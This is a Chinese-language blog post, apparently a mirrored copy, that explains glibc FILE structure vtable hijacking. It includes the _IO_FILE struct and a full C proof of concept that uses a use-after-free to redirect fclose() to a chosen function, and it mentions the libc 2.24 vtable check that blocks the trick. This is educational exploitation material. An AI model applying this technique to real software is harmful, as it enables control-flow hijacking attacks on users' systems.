zoukankan      html  css  js  c++  java
  • 文件流指针溢出--File Stream Pointer Overflows

    概述

    文件流指针溢出属于溢出利用方式的一种,主要存在于流函数(fopen(), fread(), fclose()等)。主要通过伪造在堆上的FILE结构体,覆盖结构体上的函数指针达到控制执行流的目的。

    首先认识IO_FILE 结构体

     273 struct _IO_FILE {
     274   int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */
     275 #define _IO_file_flags _flags
     276 
     277   /* The following pointers correspond to the C++ streambuf protocol. */
     278   /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
     279   char* _IO_read_ptr;   /* Current read pointer */
     280   char* _IO_read_end;   /* End of get area. */
     281   char* _IO_read_base;  /* Start of putback+get area. */
     282   char* _IO_write_base; /* Start of put area. */
     283   char* _IO_write_ptr;  /* Current put pointer. */
     284   char* _IO_write_end;  /* End of put area. */
     285   char* _IO_buf_base;   /* Start of reserve area. */
     286   char* _IO_buf_end;    /* End of reserve area. */
     287   /* The following fields are used to support backing up and undo. */
     288   char *_IO_save_base; /* Pointer to start of non-current get area. */
     289   char *_IO_backup_base;  /* Pointer to first valid character of backup area */
     290   char *_IO_save_end; /* Pointer to end of non-current get area. */
     291 
     292   struct _IO_marker *_markers;
     293 
     294   struct _IO_FILE *_chain;
     295 
     296   int _fileno;
     297 #if 0
     298   int _blksize;
     299 #else
     300   int _flags2;
     301 #endif
     302   _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
     303 
     304 #define __HAVE_COLUMN /* temporary */
     305   /* 1+column number of pbase(); 0 is unknown. */
     306   unsigned short _cur_column;
     307   signed char _vtable_offset;
     308   char _shortbuf[1];
     309 
     310   /*  char* _save_gptr;  char* _save_egptr; */
     311 
     312   _IO_lock_t *_lock;
     313 #ifdef _IO_USE_OLD_IO_FILE
     314 };
    
    FILE *fp;
    fp = open("xxxx","xx");
    

    这个过程中 glibc分配了一个结构struct _IO_FILE_plus 其中包括 struct _IO_FILE 和一个指向struct _IO_jump_t的指针。

    struct _IO_FILE_plus {
      _IO_FILE;
     const struct _IO_jump_t *vtable;
    };
    


    _IO_jump_t 中包含着例如fclose() 等相关函数的地址 ,伪造这个结构替换fclose的地址即可实现控制。

    示例UAF

    #include <stdio.h>
    #include <stdlib.h>
    
    void pwn(void)
    {
        printf("Dave, my mind is going.
    ");
        fflush(stdout);
    }
    
    void * funcs[] = {
        NULL, // "extra word"
        NULL, // DUMMY
        exit, // finish
        NULL, // overflow
        NULL, // underflow
        NULL, // uflow
        NULL, // pbackfail
        NULL, // xsputn
        NULL, // xsgetn
        NULL, // seekoff
        NULL, // seekpos
        NULL, // setbuf
        NULL, // sync
        NULL, // doallocate
        NULL, // read
        NULL, // write
        NULL, // seek
        pwn,  // close
        NULL, // stat
        NULL, // showmanyc
        NULL, // imbue
    };
    
    int main(int argc, char * argv[])
    {   
        FILE *fp;
        unsigned char *str;
    
        printf("sizeof(FILE): 0x%x
    ", sizeof(FILE));
    
        /* Allocate and free enough for a FILE plus a pointer. */
        str = malloc(sizeof(FILE) + sizeof(void *));
        printf("freeing %p
    ", str);
        free(str);
    
        /* Open a file, observe it ended up at previous location. */
        if (!(fp = fopen("/dev/null", "r"))) {
            perror("fopen");
            return 1;
        }
        printf("FILE got %p
    ", fp);
        printf("_IO_jump_t @ %p is 0x%08lx
    ",
               str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
    
        /* Overwrite vtable pointer. */
        *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
        printf("_IO_jump_t @ %p now 0x%08lx
    ",
               str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
    
        /* Trigger call to pwn(). */
        fclose(fp);
    
        return 0;
    }
    
    

    示例程序使用了UAF use after free 技术 ,也就是先请求一块内存再free掉,但是指向这块内存的指针str却并没有失效。
    然后这块内存又被分配给了FILE结构体使用,因此我们使用str指针就可以修改FILE结构体,劫持函数。
    执行的结果如下

    但是另一台机器上执行结果却不一样

    由于libc-2.24.so的vtable check的限制,检测到了vtable做了修改。

    想找一个CTF题目来练习一下,不过题目大都结合了heap attack,先放在这里未完待续。

  • 相关阅读:
    MathML
    Redux counterpart rematch dva
    flow
    pauseable 库
    a simple machine learning system demo, for ML study.
    react图工具集成
    SQLite
    Celery
    RabbitMQ installation
    Thunk
  • 原文地址:https://www.cnblogs.com/moonnight/p/8280577.html
Copyright © 2011-2022 走看看